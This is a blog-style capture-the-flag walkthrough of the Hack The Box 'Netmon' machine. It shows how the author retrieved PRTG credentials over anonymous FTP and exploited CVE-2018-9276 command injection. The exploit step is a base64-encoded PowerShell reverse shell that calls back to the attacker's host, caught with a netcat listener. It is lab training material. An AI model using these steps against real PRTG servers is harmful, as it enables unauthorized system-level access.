index.html   posts.html   about.html   contact.html   .secret.html

---

Cracking Open the Netmon Machine: A Penetration Testing Walkthrough

January 31, 2025


Blog Image

This week, I took on the Netmon machine on Hack The Box, a Windows-based challenge that tested my enumeration, credential discovery, and exploitation skills. From uncovering sensitive configuration files to crafting a reverse shell, Netmon provided hands-on experience with tools like tcpdump, nmap, and PowerShell scripting. Here’s a breakdown of the journey, with insights into the tools used, the decisions made, and lessons learned along the way.



Enumeration and Initial Discovery

The first step was reconnaissance, and nmap was my go-to tool. I ran a scan to identify open ports and services:

bash nmap -sV -sC -Pn -oA netmon 10.10.10.152

The scan results were promising:

  • Port 21 (FTP): Anonymous login allowed. This immediately caught my attention.
  • Port 80 (HTTP): Hosting a PRTG Network Monitor web interface.

Blog Image

Navigating to http://10.10.10.152 revealed the PRTG login page. Time to dig deeper into these services.

Gaining Access with FTP

FTP’s anonymous access provided direct access to several files. Among them, PRTG Configuration.old.bak stood out as a potential treasure trove:

bash ftp 10.10.10.152 get "PRTG Configuration.old.bak"

Blog Image

Upon inspecting the file locally, I found plaintext credentials:

  • Username: prtgadmin
  • Password: PrTg@dmin2018

This discovery set the stage for the next phase.

Logging into PRTG Network Monitor

Blog Image Using the extracted credentials, I attempted to log in to the PRTG web interface. The password didn’t work. Observing the backup file’s timestamp, I hypothesized the password might follow an annual update format. Modifying it to PrTg@dmin2019 worked, granting me access to the dashboard.

With authenticated access, I was ready to explore potential vulnerabilities.

Searching for Exploits

My first step was to search for known vulnerabilities using searchsploit. However, this yielded no relevant results for the PRTG version (18.1.37.13946). Switching gears, I turned to online research and discovered CVE-2018-9276, an authenticated command injection vulnerability via the notification system. This became my next target.

Exploitation with CVE-2018-9276

To test the vulnerability, I created a notification in PRTG to execute a simple ping command:

plaintext ping -c 1 10.10.14.4

Running tcpdump confirmed ICMP traffic from the target:

bash sudo tcpdump -i utun5 icmp

This validated the vulnerability and opened the door for further exploitation.

Establishing a Reverse Shell

To escalate access, I turned to the Nishang framework. Specifically, I used Invoke-PowerShellTcp.ps1 and updated it with my IP address and port:

plaintext LHOST = 10.10.14.4 LPORT = 9001

After editing the script, I encoded it in Base64 for execution:

bash cat reverse.ps1 | iconv -t UTF-16LE | base64 | pbcopy

Then, I updated the notification parameters in PRTG:

plaintext test | powershell -enc <Base64-Encoded Script> Blog Image

With a Netcat listener set up on port 9001:

bash nc -lv 9001

Triggering the notification successfully established a reverse shell running as NT AUTHORITY\SYSTEM. It was a satisfying moment to see the connection.

Capturing the Flags

With system-level access, capturing the flags was straightforward:

Blog Image

  • User Flag: Located on the Public user's desktop, retrieved during the FTP phase:

bash cd \Users\Public\Desktop type user.txt

  • Root Flag: Found on the administrator's desktop:

bash cd \Users\Administrator\Desktop type root.txt

Mission accomplished.

Key Takeaways

  • Backup Files Are Goldmines: The PRTG Configuration.old.bak file highlighted the importance of securing sensitive files.
  • Password Management Matters: Predictable patterns, like annual updates, can make brute-forcing unnecessary.
  • Exploitation Requires Creativity: Moving from searchsploit to online research to discover CVE-2018-9276 reinforced the importance of persistence.

Netmon offered a fantastic learning experience, emphasizing enumeration, lateral thinking, and exploiting authenticated web interfaces. It was a rewarding challenge that expanded my understanding of chaining vulnerabilities.


Check out my Github Repo for the notes and report on this project!




"Success is where preparation and opportunity meet." – Bobby Unser


  • /posts
  • ├── Recent_Posts
  • │ ├── Diving Into the UnderPass Machine: A Penetration Testing Walkthrough
  • │ ├── Cracking Open the Netmon Machine: A Penetration Testing Walkthrough
  • │ ├── Exploring OpenVAS and Diving into File Transfers

---

$ ~